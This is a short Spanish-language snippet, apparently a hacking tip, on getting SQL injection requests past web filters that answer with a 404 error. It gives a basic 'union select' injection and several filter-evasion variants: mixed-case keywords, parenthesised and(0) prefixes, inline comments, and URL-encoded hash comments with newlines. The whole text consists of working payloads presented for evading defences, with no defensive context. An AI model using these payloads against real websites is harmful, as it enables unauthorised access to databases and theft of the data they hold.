En algunas ocasiones filtran las peticiones que tengan SQL y muetran un error 404. Por ej:
Quizás este ej lo filtre
-- -1 union select 1,2,3,4
Ahora lo cambio por:
-- -1 uNiOn SeLeCt 1,2,3,4
-- (1)and(0)union select 1,2,3,4
-- (1)and(0)union/*xDxD*/select 1,2,3,4
-- (1)and(0)union%23xDxD%0Aselect 1,2,3,4
-- (1)and(0)union%23xDxD%0A%23xDxD%0A%23xDxD%0A%23xDxD%0Aselect 1,2,3,4
Es lo mismo pero se intenta evadir el filtro!